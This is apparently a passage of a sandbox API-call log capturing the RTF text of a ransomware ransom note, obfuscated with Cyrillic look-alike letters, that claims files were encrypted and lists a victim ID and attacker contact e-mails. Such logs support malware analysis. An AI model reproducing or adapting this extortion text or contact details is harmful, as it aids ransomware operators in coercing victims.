r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 